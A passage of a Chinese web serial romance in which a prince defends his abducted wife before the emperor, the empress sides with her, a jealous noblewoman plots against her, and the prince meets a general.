青梅默默地挪到姜黎婳身边,对着知夏和铃铛两人小声道:“知夏姐姐、铃铛姐姐,天气挺冷的,不如咱们先进府?”
她从今天开始要当一个合格的婢女,绝对不能让她家王妃遭受一点点非议!在门口与婢女抱在一起哭,别人看了去,定然会传出什么不好的传闻的。
知夏和铃铛两人这才看到了青梅,青梅朝两人微微一笑,“咱们一直在门口也不是事儿对吧?”
“青梅说的是,回府吧。”姜黎婳拍了拍两个婢女的手,回眸看向楚御礼,一直在他身后一步等着她与婢女抒泄情绪的楚御礼这时候伸手搂着她进了王府。
青梅瞧着王爷搂着自家小姐的模样,嘴角疯狂抽动,看来她家这个身为王爷的姑爷真的非常非常看重和喜欢她家小姐呢!
以后她存银钱娶美男的愿望绝对可以实现的!
她抬步正要跟上就和盯着自己的两道目光对上了,青梅赶紧伸手挽着两人往府内走,一边走一边低声对两人道,“知夏姐姐、铃铛姐姐,小姐是什么人你们还不清楚吗?依照小姐厌男的程度,再看看小姐如今的状态,你们应该就可以知道小姐没有被碰到一根手指头,你们两人也别摆着一副小姐受了委屈一样的表情出来,这样反而会让小姐想起被掳走的事情,也会让姑爷膈应的。”
瞧两人的面色随着自己的话变了变,青梅又继续道,“如今小姐和姑爷两人都不愿意再提起这件事情了,那就说明这件事情过去了,咱们这些做下人的自然就不要把这种事情挂在嘴边和摆在脸上了,不然这不是在给小姐添堵吗?”
铃铛被青梅说得一愣一愣的,以前在江南的时候她就喜欢这个能说会道人还挺机灵的青梅,现在青梅的话,还真让她醍醐灌顶。
她嗔了青梅一眼,“那你先前不早点阻止我们!”
青梅低声喊冤,“我的个铃铛姐姐啊。”她往四周看了一眼确定没有姑爷的侍卫跟着后,才小声逼逼,“我这一路一直都以为咱们姑爷是咱们家的上门女婿,你们都不知道我在看到御王府三个字的时候,人有多震惊!”
她夸张的抓紧两人的衣袖,“我差点都灵魂出窍了,等反应过来不就立刻来阻止你们继续抱着小姐哭了吗?”
知夏听着青梅这抑扬顿挫的话,忍不住噗嗤笑了一声,她抬手擦了擦眼泪,轻声道,“我们当初第一次站在王府门外的时候和你今日差不多。”
“对吧?”青梅左右看了两人一眼,笑嘻嘻的道:“我的反应还算快的了吧?没给咱们姜家丢脸吧?”
知夏被她的生动的模样逗笑,“没丢脸,比我们当初表现得好得多。”
“那一会儿你们两人定要给佩玉嬷嬷说一说,让她也夸夸我。”青梅笑嘻嘻地挽着两人要去追姜黎婳夫妇,却发现两人的脚步都不动了。
她不解地看向两人,却见两人的神色都不是很好。
铃铛深深地看了青梅一眼,抿嘴道,“佩玉嬷嬷不会夸你了。”
青梅一愣,有些不解的看着两人。
知夏叹气,眼底闪过一丝哀伤之色,“你在江南没听过御王府被大火烧毁的事情吗?”
见青梅这副表情,知夏叹气,“也是,咱们姜家的人很少说旁人的闲话,也不怎么打听与自家无关的事情。”
她拉着青梅的手,低声道:“佩玉嬷嬷在那场刺杀和大火中丧生了,以后你再也见不到佩玉嬷嬷了。”
青梅垂眸看着自己被知夏拉着的手,眼泪一滴一滴地落了下来,佩玉嬷嬷死了?
她咬着嘴唇就要哭出来...
“王爷和王妃都回院子了,你们还不过去伺候?”清冷中带着一些疏离的男声打断了青梅的思绪。
她哄着眼眸缓缓抬头与昭临淡漠的目光对上。
昭临瞧着她哀伤的模样,眉头微微皱了皱,语气也缓和一些,“王妃的院中没有其他婢女,你们快过去伺候。”
“对,其他的慢慢说,咱们先回去伺候王妃和王爷洗漱。”知夏拉着青梅和铃铛大步往梨月居的方向而去,一边走她一边低声对铃铛道,“青梅说得对,进去之后不要再提王妃被掳走的事情了,就当一切都没有发生过。”
王妃以后再皇室的路肯定很难走,她们不能再当王妃的绊脚石。
第262章 皇帝质问姜黎婳
翌日一早。
在熟悉的床铺上睡了一夜,夫妇两人一路的疲惫也随之驱散,随着婢女们把准备好的热水端进来,两人也起身洗漱用膳了。
姜黎婳梳妆穿戴好,楚御礼正好从柜子里为她取出一件红色的带帽毛领披风,看着她身上穿着的月白色小袄,他眼神温和,语气温柔,“虽然开了春,但京城积雪依旧很厚,今日就穿这身如何?”
“好。”姜黎婳起身走到他面前,楚御礼抬手为她床上披风,又让知夏去准备汤婆子,“一会儿为夫陪你入宫。”
“好,你去见父皇。”姜黎婳握着楚御礼的手,抬眸与他对视,“我去见母后。”
楚御礼眉头微蹙,“我陪你过去。”
上次婳儿失踪母后就曾说过那种话,这次婳儿被掳走还差点成了亲,还不知道进宫之后会被母后如何为难!
姜黎婳有些无奈地看着眼前这个把自己当成孩童一样护着的夫君,正在她不知道要如何劝他的时候,青梅端着早膳走了进来,她笑嘻嘻地朝两人道:“小姐、姑爷早膳已经准备好了,快来吃吧...”
话还没说完,她扑通一声跪在地上,有些后怕的抬头看向楚御礼,“王...王爷...奴婢不是故意的。”
主要是这一路都习惯了,习惯了姑爷围着自家小姐转,她也习惯了万事以小姐为先,完全忘了,他们的姑爷是王爷啊!
楚御礼睨着跪在地上的青梅,眉头微蹙,“什么故意不故意的?还不摆膳?”
青梅瞧楚御礼不在意自己先前的称呼,连忙应了一声起来开始摆膳,摆好了对着两人‘谦卑’一笑,然后打算悄无声息的退出去。
“你。”楚御礼喊住青梅,然后拉着姜黎婳走到桌边。
青梅咽了咽口水,都说皇室的人阴晴不定,一个不注意就会被**,她一个小婢女不会因为刚刚一个口误,就被自家姑爷给砍了脑袋吧?
那她的美男夫君岂不是无望了?
“王...王爷您还有什么吩咐?”青梅小心翼翼的抬头看向楚御礼。
楚御礼也不着急,拉着姜黎婳坐下,给她夹了一个小笼包,这才抬眸看向青梅,“你今日跟着王妃入宫,记住事事以王妃为先,无论是谁,你都不能让王妃受到半点委屈,否则的话,本王拿你是问。”
青梅跪了。
这是人说得出来的话吗?
她?进宫?护着王妃?不能让王妃受半点委屈?
王爷您是把我当成什么天上的仙婢了吗?会仙术那种?
姜黎婳瞧着跪在地上缩着脖子像个鹌鹑一样的青梅,噗嗤一声笑了,她嗔了楚御礼一眼,又让青梅起来,这才对楚御礼道:“你别吓她了。”
青梅虽然站起来了,但是她的心还弱小的跪在那里,心头的小人也在不停的点头,没错没错,王爷为什么要说那么恐怖的话来吓她一个小小的婢女!
她一介奴籍小丫鬟,难道还敢和宫中的娘娘唱反调不成!
楚御礼眉梢微挑,看了一眼垂着头不敢说话的青梅,又收回目光对姜黎婳道,“她是个机灵的,你带在身边进宫,不会出错。”
瞧姜黎婳又要拒绝,他低声道,“听话,有些话你不屑于说,这丫头就可以代替你说。”
楚御礼说罢又看向青梅,“你们小姐若是被质问,什么该说什么不该说,你应该清楚吧?”
青梅云里雾里地点头,楚御礼这才让她退了下去。
用了早膳宫中果然来人了,皇帝在御书房召见楚御礼夫妇,皇后也派人过来请姜黎婳。
皇帝既然要召见他们夫妇二人,姜黎婳自然得和楚御礼先入宫见皇帝,然后再去见皇后。
他和娘子在一起,就绝对不会让娘子受半点委屈。
御书房中。
皇帝瞧着两个红色的身影从光影中走出来,他有一瞬间的恍惚,看清楚两人的绝色之姿后,皇帝的脸色彻底沉了下来,他坐在龙椅上沉沉地盯着两人靠近。
两人跪地给皇帝行礼,皇帝半晌也没有让两人起来。
楚御礼也不着急,毕竟之前元宵他对自己父皇的挑衅,足以让这个父皇气上一段时日,不过那次贺礼还是有用的,毕竟后半段他们夫妇再也没遇到任何刺客了,也算是安稳的度过了后半段的旅程。
皇帝目光沉沉地从姜黎婳镇定的脸上扫过,然后沉声道:“平身吧。”
楚御礼扶着姜黎婳的手臂让她站起
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来,意识到楚御礼对自己的维护,姜黎婳侧首对他微微一笑,然后用眼神示意自己没事,让他不用担心。
皇帝瞧着眉目传情的两人,眼睛微眯,语气也沉了几分,他看着姜黎婳眼神淡漠,“这次的事情委屈御王妃了。”
“的确是委屈我家娘子了。”楚御礼抬眸看向皇帝,脸色阴沉,“婳儿是因为皇室的斗争才被掳走的,后来传出那些谣言,父皇您也不让人澄清,您这是想让婳儿一个人背负那些流言来抵消皇室其他的丑闻吗?”
皇帝看向楚御礼,“什么谣言?”
“父皇,儿臣不希望婳儿因为皇室毁了名声。”楚御礼抬头和皇帝对视,“至于差点与人成亲的事情更是子虚乌有,儿臣不希望你们因为这些莫须有的事情,让婳儿来背负本该皇室背负的一切。”
“你这是在警告朕吗?”皇帝站起来指着姜黎婳,“你说外面的传言是子虚乌有的事情?那你告诉朕,她是不是被人掳走了?”
“是。”姜黎婳压住楚御礼的手,抬头看着皇帝,轻声道,“父皇还有什么要问的。”
“你是不是差点与掳走你的人成亲了?”皇帝再问。
姜黎婳摇头,“没有。”
皇帝蹙眉,他眼神沉沉地盯着姜黎婳,冷声道,“现在楚国都传开了,你还不肯承认?”
“外面是如何传的?”姜黎婳抬眸定定地看着皇帝,神情不卑不亢,“儿臣是被掳走了,但是差点与人成亲这事情,儿臣不能认!”
“若不是御王及时赶到,你难道不会和那个人成亲!”皇帝怒甩衣袖,“难道你还能反抗不成?”
“父皇不知道吗?”姜黎婳侧首看向楚御礼,“父皇不知道你赶来的时候,我已经用金钗杀了赵彦庭吗?”
虽然当时赵彦庭还没死,但是她的金钗再往里面走一点,**,赵彦庭必然当场毙命。
“无碍,赵彦庭的尸身,儿臣已经让人运进京城了。”楚御礼抬眸看向皇帝,“若父皇不信,等让仵作验尸之后,父皇定然就会相信你的清白了。”
姜黎婳眉梢一挑,她不是记得楚御礼答应把赵彦庭的尸体交给赵旭庭了吗?
她记错了吗?
第263章 态度
接收到姜黎婳疑惑的眼神,楚御礼对她微微一笑,接着他抬头看向皇帝,语气微沉,“父皇需要儿臣让人把赵彦庭的尸体抬进皇宫,然后让仵作当着您的面验尸吗?”
“够了!”皇帝脸色阴沉地看着站在下面的楚御礼,他没想到这个曾经被自己故意忽视不曾投入多少情感的儿子如今竟然已经长大成人,且敢为了一个女人和自己这个当父皇的人叫板了。
听着皇帝这怒气十足的呵斥,楚御礼并没有半分畏惧,他抬头看着皇帝,轻声道,“父皇,婳儿是儿臣的妻子,儿臣今天已经娶了婳儿为妻,那无论如何都是要护好她的,这次她本就是因为皇室被连累的,皇室又怎么能把错归咎在她身上呢?”
说到这里他眼底闪过一丝痛楚,接着朝着皇帝跪了下去,“父皇,婳儿对皇室和对儿臣的付出,您最清楚不过了,这世间所有人都可以说婳儿的不是,但皇室的人不可以。”
姜黎婳看着跪在地上的楚御礼,她手指忍不住颤了颤,她想伸手去扶楚御礼,但是人却动弹不了...
原来,为了她,他不仅可以强势的对抗所有人,也会卑微地屈下膝盖,为她求人。
这样的丈夫,她不能放手。
姜黎婳在心头下了一个决定,既然他为了把她留在身边这么努力了,那她也绝对不会因为外界的原因主动离开她。
除非楚御礼对不起她,或者他主动让她离开。
皇帝看着下面一跪一站的夫妇二人,好半晌都没有说话。
“好了。”皇帝抬手让楚御礼起身,“这件事情是朕思虑欠妥了,既然御王妃回来了,就好生休息一段时间,这段时日就少出门了。”
姜黎婳正要跪地谢恩,就被楚御礼一只手拦住了,他稳稳扶住她,抬头看向皇帝,“多谢父皇,只是婳儿并没有错,少出门这种惩戒,恕儿臣不能接受。”
皇帝头疼的看着楚御礼,眼底闪过一丝冷意,这还没有当太子就这样护着这个女人,以后当了太子还不得把这个女人当成眼珠子?
现在当着这个女人就敢这样忤逆他这个父皇,以后不得为了这个女人敢弑父了?
皇帝越是这样想着越觉得姜黎婳这个女人留不得了。
楚御礼也感受到了皇帝眼底的那一丝杀意,他抬头和皇帝的目光对上,眼神微沉,“父皇?”
“行了,朕没说过要惩罚御王妃,朕只是让她在府中好生休养,不要出门被那些流言影响,既然你们夫妇不怕那些流言蜚语,那就由着你们吧。”皇帝收回目光开始处理手中的政务,“你们夫妇二人都退下吧。”
楚御礼这下二话不说带着姜黎婳退了出去。
离开御书房,看着楚御礼脸上露出的畅快笑意,姜黎婳有些无奈的拉住他的手,轻声道,“你先前不该那样顶撞你父皇的。”
楚御礼脚步一顿,他侧首看着姜黎婳,见她眉心微蹙的模样,他抬手轻轻抚平她的眉心,低声道:“婳儿,无论为夫是什么态度,已经改变不了他们对你的态度了。”
楚御礼回头看了一眼御书房的方向,见四周没人,又低声道:“父皇即便现在说得好听,但该对你下毒手他依旧会对你下毒手,还有其他人也一样,所以我们为什么还要低声下气的?”
姜黎婳不解的看向他,“那你刚刚还...”
“那也是我在向父皇表达我的态度。”楚御礼笑着捏了捏姜黎婳白皙的脸蛋儿,眼底尽是温柔,“为夫得让他知道,为了娘子,我可以强硬的对抗所有人,也可以朝旁人下跪。”
他抬起她的手与她十指相扣,态度坚定,“为夫就是要他们知道,为了你,为夫什么都愿意做。”
姜黎婳有些动容的抬头看着他,楚御礼对她浅浅一笑,“娘子,这样的夫君,你可还满意?”
“满意。”姜黎婳反握住他的手,往他身边靠了一步,她抬头看着他,眼神坚定,“楚御礼,你放心,从今以后无论什么时候我都不会主动离开你的,除非你...”
“嘘。”楚御礼另一只手抵住她的嘴唇,眼中全是笑意,“有前面那句话就够了,后面的那些话,为夫绝对不会让它们发生的。”
两刻钟后。
凤仪宫中。
皇后和贤妃早就已经在凤仪宫中等着了,见姜黎婳夫妇二人相
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携走来,且夫妇两人脸上都带着笑,而且走来的模样甚至有些意气风发,皇后和贤妃紧张的神色也消失了一大半。
贤妃先激动的站起来朝夫妇二人迎了上去,“回来就好。”也不顾夫妇两人交握在一起的手,拉着姜黎婳就上下打量了个遍,“不错不错,这次没有消瘦。”
楚御礼瞧着贤妃对姜黎婳的关切不像是假的,便主动松开姜黎婳的手把位置让给了贤妃。
姜黎婳笑着给皇后和贤妃福了福身子,“又让母后和贤娘娘担心了。”
说起这件事情贤妃的脸色变了变,她看了皇后一眼,皇后会意的屏退了殿中伺候的宫人,又让佩蓉在门口守着,不准任何人靠近凤仪宫的正殿。
等殿内宫人都退下后,皇后这才对夫妇二人道,“你们夫妇坐吧。”
贤妃挽着姜黎婳在一旁的椅子上坐下,她脸色不好,“这次你失踪的确让我们担心,看到你们夫妇二人能平安的回来,我与皇后娘娘也总算是心安了。”
楚御礼闻言抬眸看向皇后,母后难道不是希望婳儿回不来最好吗?
皇后被楚御礼的目光看得特别不自在,她握着拳头咳嗽了一声,沉声道:“那日本宫在御书房外听到了皇上的话,知道皇上要对你不利,但本宫无力阻止,只能让人给沈太傅递了消息...”
皇后说到这里,叹了口气,“不过听说沈太傅也没能阻止他们离京,还好你们平安归来了。”
“是啊,还好你们夫妇平安回来了。”贤妃抓着姜黎婳的手,眼神关切,“你也别太在意外面的传言了,你和御王若真的被那些流言蜚语影响了,那些人才是真正的奸计得逞了。”
姜黎婳原本以为在皇后这里可能也会承受一些责备,但从头到尾皇后没有说一句责备的话,还让她顾好自己的身子,不要在意旁人的传言,让她安心当好御王妃,剩下的就交给楚御礼去处置,让她相信楚御礼....
小半个时辰后,姜黎婳有些疑惑地站在凤仪宫外看着楚御礼,“你威胁母后了?”
母后身为一国之母,竟然对她这种态度,这是楚御礼以死相逼了吧?
第264章 情难自禁,恶从心生
楚御礼也惊讶皇后的转变,甚至之前还怀疑过皇后这样做是别有用心,但是想到自己的母后也是为了自己什么都愿意做的人,他又放下了心头的疑虑,笑着对姜黎婳道,“大概母后和我一样觉得婳儿是值得我们这样对你好的人。”
“又贫?”姜黎婳嗔了楚御礼一眼,接着叹气,“我很感激母后这样护着我。”
楚御礼笑着抓住她的手与她十指紧扣,漫步往宫外走去,“回家。”
“我想去看看父亲他们。”
“好,为夫随娘子一起去。”
姜黎婳侧眸看他,“你刚回京,没有其他事情要忙吗?”
“为夫当初在刑部挂职侍郎不过是为了查少女失踪案,如今少女失踪案已完结,为夫自然又是闲散王爷一个,哪儿还需要忙其他事情。”楚御礼笑意缱绻,“再说了,其他事情哪儿有陪娘子重要?”
姜黎婳笑了,“这种话你可不能乱说,若旁人听了去还以为我是祸国殃民的妖妃了。”
“祸国殃民谈不上,最多是惑我心神。”楚御礼的笑意更甚,“为夫也甚是乐意被娘子惑乱心神。”
“你正经点。”姜黎婳忍不住抬手打了楚御礼一下,楚御礼趁此机会抓住她的手,放在唇边轻轻吻了一下,满心满眼的看着她,“娘子,你再这样,今日为夫可就不能陪你去见你父兄了。”
姜黎婳还未反应过来,楚御礼已经弯腰一下子把她抱了起来,他笑着大步往宫外走,“回家喽。”
“楚御礼你放我下来!”
夫妇两人嬉笑打闹的欢笑声充斥着出宫的长廊。
站在一处长廊旁边角落处窥探着这一切的孟若瑶几乎把手中的帕子都拧成了麻花,她那双杏眸逐渐被嫉妒充斥,一双眼睛变得猩红。
凭什么?
凭什么姜黎婳那样的商贾之女可以因为一次冲喜就得到御王的喜爱?凭什么她遭遇那种事情还可以得到御王的偏爱?她凭什么能享受御王最温柔的对待?
明明自己才是太后最中意的太子妃人选!姜黎婳凭什么要抢走本该属于她的一切!
她是绝对不会放过姜黎婳的!
姜黎婳必须死!
姜黎婳被楚御礼抱着走出宫门,她拍了拍他的肩膀,“快放我下来了,这么多人看着呢。”
这宫门连接着六部,大小官员进进出出的,他不介意,她都觉得害羞。
楚御礼瞧她脸都羞红了的模样,笑着把她放下来,伸手戳了戳她红润的脸颊,他挑眉一笑,“不过是抱一下,娘子还害羞了?为夫还没有做更过分的事情呢。”
“楚御礼!”姜黎婳瞪眼,“你如今是越来越不害臊了!”
瞧着她娇羞的模样,楚御礼心头一动,他一把抓住她的手放在自己胸口,接着朝她俯身,“以前那是害怕吓着娘子,所以为夫一直压制着对娘子的欲望,如今既然已经确定了娘子的心意,那为夫还压制着自己,岂不是对不起娘子对为夫的心意?”
说罢,他拉着她的手就朝马车的方向狂奔,“马车就在前面,娘子既然不愿意在人前,那我们就进马车。”
两人肆意奔跑,那红色的披风也成为了白色雪地中最亮眼的色彩。
不相信两人感情真的有这么好的孟若瑶站在宫门后面被这一抹动人的画面气得双手都颤抖了起来。
姜黎婳!
她一定要杀了姜黎婳!
她要让御王这样的疼爱,只属于自己一个人!
抱着姜黎婳上了马车,楚御礼直接把姜黎婳放置在自己的腿上,接着捧着她的脸就吻了上去,姜黎婳连忙推着楚御礼的头避开他的吻,“你来真的啊?”
她在出宫的长廊上的时候感觉到楚御礼往一处看了一眼,她也瞟了一眼,确认是一个贵女,能那样在长廊上站着的贵女,可能就是楚御礼曾提到过的承恩公府的嫡出小姐孟若瑶。
他以为楚御礼先前那些亲密的动作和话是故意给这孟若瑶听和看的,所以大胆的和他在人前这么亲密的互动,现在怎么上了马车了,这人不只是动手动脚,现在要动嘴了?
楚御礼抬眸看着抵着自己额头的女人,他呼吸加重,“我何时对娘子假过?”
“你刚刚说那些做那些不是给那个人看的?”姜黎婳松了点力气,她误会了啊?
“为夫对娘子的情感何须做给旁人看。”楚御礼双手搂紧姜黎婳的腰肢,让他贴着自己,他抬头在她唇上轻轻一啄,“
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为夫对娘子的感情从来都是炙热真诚的,从来不避讳旁人,旁人要看就看了去又如何?”
姜黎婳被他的话弄得一愣,她张口正要说话,就被人长驱直入卷住了唇舌。
不知道过了多久,被亲得头晕目眩的姜黎婳才被楚御礼松开,她眼尾通红的抬眸看着楚御礼,含泪的眼睛怒瞪着他,像是在控诉。
只能在马车上搂搂抱抱和亲亲的楚御礼连忙抬手捂住姜黎婳的眼睛,声音嘶哑的对着姜黎婳求饶,“娘子,你别这么看为夫,为夫受不了。”
他是真的怕自己控制不住在马车上就直接要了娘子,但又怕在马车上做出那种事情,让本就对这方面比较介意的娘子,以后都不让他靠近了。
“楚御礼!你简直是无赖!”姜黎婳听着她这话,耳根彻底红了,她一把推开他,自己起身坐到马车另一边整理自己被他弄乱的衣裳和发髻。
楚御礼凑过来,亲手为她整理,眼神温柔又蛊惑,嗓音更带着前所未有的喑哑,“为夫只对娘子无赖。”
马车外充当车夫的昭临:“......”
他招谁惹谁了?
一个血气方刚、武功高强的侍卫来充当车夫就算了!还要在赶车的时候听到自家主子和王妃在马车里面酱酱晾晾...
想到这里他狠狠地扬起了手中的马鞭,然后轻轻落下...
接着看向自己身边坐着的小婢女。
小婢女此时双手捧着脸,眼睛亮晶晶地看着前面,心头不知道在想什么。
昭临收回目光,眼底闪过一丝疑惑,他刚刚没看错的话,这小青梅眼中闪烁的是好奇吧?
青梅现在满脑子都是自家小姐和姑爷各种这样这样内样内样的画面,根本无心在意旁人的眼光。
她羡慕呀,小姐不愧是小姐,不仅有钱还有这么好看的夫君,而且夫君对她还这么宠爱!
她以后也要找一个这样满心满意都是她的美男夫君!
想到自己以后成亲后也能和自家美男夫君酱酱酿酿,青梅的脸都更红了...
“你生病了吗?”昭临有些不解地看向脸和额头还有眼睛一下就变得通红的青梅,语气严肃,“回府后让府医给你瞧瞧!”
第265章 这是娘子的福报
悦来客栈门前。
姜黎婳抬头看着客栈的匾额,有些不解地问楚御礼,“来这里做什么?”
楚御礼拉着她往客栈里面走,“进去就知道了。”
今天的客栈中人很少,可以说几乎是没有人的,姜黎婳和楚御礼走进去的时候客栈里面特别冷清,姜黎婳被楚御礼拉着径直上了楼,进了天字一号房间中。
进入房间,看到里面坐着的人,姜黎婳一怔,接着她朝对方见礼,“赵伯伯。”
赵忠连忙站起来给她还礼,“王妃。”
姜黎婳连忙让赵忠起来,“您别多礼了,这是折煞晚辈了。”
赵忠站直身子叹气,“这次的事情让你受委屈了,这次是我们赵家不对,是赵家害得你被那些流言蜚语裹挟,今后你若有需要我们赵家的地方,你尽管提就是。”
姜黎婳面露不解,她抬眸看向楚御礼,后者拉着她在桌边坐下,然后请赵忠也坐下,赵忠叹了口气,走到一旁的位置上坐下。
赵忠坐下后不等姜黎婳说话,就继续道,“当初留他一命,没想到差点铸成大错,这点的确是我疏忽了。”
他抬眸看向楚御礼,沉声道:“也还好王爷机敏,时刻让人盯着他,否则后果不堪设想。”
楚御礼眉梢微挑,他给姜黎婳和自己倒了热茶,这才道:“还要多谢赵总督的协助。”
赵忠惭愧摇头,“王爷说笑了,臣根本没有帮上什么忙。”
楚御礼一开始是打算先让他这个父亲和赵彦庭接触缓和关系,让他放松警惕,紧接着由他这个父亲在皇帝面前进言让赵彦庭无法再回到战场上,然后趁赵彦庭气急败坏无暇顾及姜黎婳的时候,找出姜黎婳的下落...
只是他没想到这赵彦庭在被封为京城兵马司副指挥使之后竟然直接连官职都不要,还把姜黎婳带走了!
还差点酿成大错!
姜黎婳听着两人的谈话,大概明白了一些,她安静的坐在一边没有说话。
楚御礼亲自给赵忠斟茶,“这次江南之行,若没有赵公子亲自带路直接去扬州的话,本王不会这么顺利且快速的找到婳儿,所以我们夫妇是要感谢赵总督的帮忙。”
“多谢赵伯伯。”姜黎婳抬眸看向赵忠,想到赵忠帮自己脱离了赵彦庭的掌控,自己却让他**儿子,不过姜黎婳不后悔,她抿嘴看向赵忠,低声道:“但是,赵彦庭的死,我不会道歉的。”
赵忠看着姜黎婳倔强又坚定的模样,忍不住摇头一笑,他拍了一下自己的膝盖,沉声道,“五年前若不是你救他,他肯定会重伤不治身亡,如今他恩将仇报死在你们夫妇手上,也算是报应了。”
姜黎婳一愣,她怎么感觉赵伯伯这话好像是在说她五年前救赵彦庭让她如今被**是自找的呢?
“想什么呢?”楚御礼瞧她眼神迷茫,笑着道,“看来我娘子果然厉害,竟然在冥冥之中让楚国的黎民百姓免了一次战火之苦。”
赵忠蹙眉看向楚御礼,什么跟什么?
姜黎婳也抬头看向楚御礼,“嗯?”
“难道在路上的时候为夫没有告诉娘子吗?”楚御礼执起姜黎婳的手放在唇边轻轻吻了吻,“那赵彦庭在**你那日献上了段贺年的虎符。”
“这个你说过。”
楚御礼笑看着她,“若不是娘子五年前救了他,他也不会机缘巧合之下成为段玉,更不会在成为段玉之后生出野心勾结段贺年的下属,也不会在见到娘子之后**娘子,还把南岳的虎符直接上交给朝廷,所以娘子你可以咱们楚国的大功臣。”
原本觉得这楚御礼是无脑喜欢自己王妃的赵忠在听了楚御礼这话之后,还煞介其事地点了点头,他抬头看向姜黎婳,“果然好人有好报,王妃这是冥冥之中给自己集福了。”
从自己被赵彦庭**之后就一直后悔自己当年多管闲事救了赵彦庭的姜黎婳,“......”
是他们说的这样吗?
所以当年她救人是没错的吧?
楚御礼这么说,她都有点被他说服了......
“段贺年派来杀害王妃的人都是武艺高强的,那天若不是段玉也在其中,王妃恐怕凶多吉少。”赵忠看着姜黎婳,“这都是王妃自己的福报。”
姜黎婳抬眸看向赵忠,抿嘴,“那我是不是不该杀了他?”
赵忠一愣,意识到姜黎婳口中的他说的是赵彦庭,他摇头沉声道,“他死有余辜
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,他若在红山山顶救下王妃,且安全护着王妃您回王府,那我...和旭庭即便无法摒弃前嫌与他相处,也会给他留一条退路,但是他不该妄想不是自己的东西!”
听赵忠这么说,姜黎婳眼底的疑惑越发浓郁了,她抬眸看着赵忠,“赵伯伯,我可以问问当年究竟发生了什么事情吗?”
提起当**情赵忠脸色顿沉,他握了握拳头,沉声道:“当**情不提也罢,这次让你被他绑到扬州的事情是我们赵家的错,以后你们夫妇有用得着赵伯伯的地方,赵伯伯定然义不容辞。”
见赵忠不愿意多说,姜黎婳也不便多问,想来当年这赵彦庭应该也的确做了特别大逆不道的事情才会让赵伯伯对他下了死手吧。
不再提这件事情,楚御礼便问起了赵忠为何还留在京城的事情,“如今收复南岳军的事情已经交给了常胜等人,赵总督应该直接回江南才是,为何父皇还要把你留在京城?”
“过几日臣就应该离京了。”赵忠给自己倒了一杯酒,“陛下体恤臣多年不曾在京城过年,便留下臣在京中过了年再离开。”
楚御礼眼睛微眯,现如今已经二月了,若只留赵忠在京城过年的话,如今赵忠应该已经在江南了才是。
楚御礼不着痕迹的看了赵忠一眼,然后拿起筷子给姜黎婳布菜,“父皇这是打算收回赵总督手中的部分兵权了吗?”
赵忠惊讶的抬眸看了楚御礼一眼,然后轻轻点头,“如今楚国大定,皇上可能不想再看到段贺年这种拥兵自重的事情再次发生。”
“大定?”楚御礼在嘴里呢喃了一句,笑了笑没有再说话,半晌之后,他抬眸看向赵忠,然后站起来给他躬身,“这次是本王连累了赵总督。”
赵忠连忙站起来扶着楚御礼的手,“为将领者本就应该为朝廷断头颅洒热血,王爷这么做是折煞老臣了。”
楚御礼站直身子,看着赵忠,郑重道,“赵总督您放心,即便父皇收回了兵权,您依旧是江南节度使,没人能掩盖您曾经为守卫江南所做的一切。”
赵忠听楚御礼这么说,眼睛微红,他动容的点了点头,“有殿下这句话,臣觉得一切都值了。”
第266章 护着
姜黎婳坐在马车里都还是很不解楚御礼特意带着自己走一趟悦来客栈去见赵忠是为了什么。
楚御礼一上马车就被她直勾勾的盯着,即便是心头高兴娘子满心满眼都是自己,但是她眼中那浓浓的疑惑,着实有点煞风景...
他抬手在她额头上点了一下,笑着道,“娘子想问什么?”
“若单纯是为了给赵伯伯道谢,咱们没有必要来这里单独见他一次吧?”姜黎婳蹙眉,“为了道歉也没有必要专门走一趟。”
“婳儿,父皇疑心重,加上发生了佳宁公主和段贺年这样的事情,他更不会放心的把楚国的兵权放在任何一个武将手中,他会逐步收回武将手中的兵权。”楚御礼看着姜黎婳,“而且今日父皇虽然没有说什么,但他对为夫今日的所作所为定然很愤怒,接下来他会有所行动的,所以咱们夫妇还得为以后打算不是吗?”
姜黎婳的眼睛逐渐瞪大,她抬眸和楚御礼带笑且深邃的目光对上,“所以你刚刚来见赵伯伯是为了笼络他?你打算笼络武将?”
“婳儿,在绝对的实力面前,其他的都不值一提。”楚御礼抬手为姜黎婳理了理鬓角的头发,“为了咱们夫妇的未来,为夫也得提前做准备。”
......
悦来客栈。
楚御礼夫妇刚离开,天字一号房的门就被推开了,瞧着走进来的小儿子,赵忠眉梢微挑,“现在放心了?御王和御王妃感情甚笃,哪儿用得着你这臭小子操心。”
赵旭庭闷闷的走到一边坐下,“他们夫妇的感情再好,他就能护着小梨花以后在京城无忧吗?”他给自己倒了一杯茶,脸色不好,“如今京城的传言都是对小梨花不好的,京城这些人一人一口唾沫都可以把小梨花给淹死。”
瞧着儿子那一脸幽怨的模样,赵忠嗤笑,“那又如何?即便是这样也不是你该操心的事情,很快就春闱了,你接下来少给**心有的没的,好好准备春闱。”
赵旭庭蹙眉,“爹,我不想留在京城了,不如...”
“不想留在京城你想去哪儿?”赵忠的脸猛地沉了下来,他目光灼灼地看着赵旭庭,“你以为我想把你留在京城?你若不留在京城,皇帝会放心我去江南吗?还是说你想回江南,你爹我留在京城?”
赵旭庭一怔,他猛地抬头看向赵忠,“爹!”
赵忠没有看他,给自己添了茶水,却没有端起杯子喝,他淡淡道:“你以为我为什么非要你回京参加春闱?”
赵忠盯着杯中的茶水,语重心长,“旭儿啊,做武将做到为父这个位置的人,就要有觉悟,为父不能等陛下主动让你们兄妹两人入京的时候再送你们入京,若等到皇帝开口让你们入京常住了,那你回京就不是学子,而是质子了,这次回江南之后我会让人把你妹妹也送到京城来。”
说到这里他抬眸看向赵旭庭,眉头微蹙,“做武将的最怕的就是帝王的忌惮,太平盛世杀功臣这种话不是空穴来风,为了赵家的安稳,只能委屈你们了。”
赵旭庭震惊地看着赵忠,“父亲!”
他爹对朝廷向来忠心,且皇帝也从未表露过对他爹的不满,他爹怎么会想到这上面去?
瞧着儿子眼中那清澈的愚蠢之色,赵忠抬了抬眼皮,“御王是在京城中可以信任的人,你以后若遇到什么事情,可以直接去找御王。”
“爹!”赵旭庭脸色顿沉,他怎么可能去找楚御礼!而且他来京城这么久,从未遇到过什么事情!
反倒是楚御礼,小花儿嫁给他之后反倒是遇到了不少的事情!
小花儿之前不是差点被下药就是差点被刺杀,这次还被**了...
虽然**小花儿的人是赵彦庭,但也是因为皇室,小花儿才会被**的!
“御王是重情义之人,你不要意气用事。”赵忠看着赵旭庭,脸色严肃,“知道了吗?”
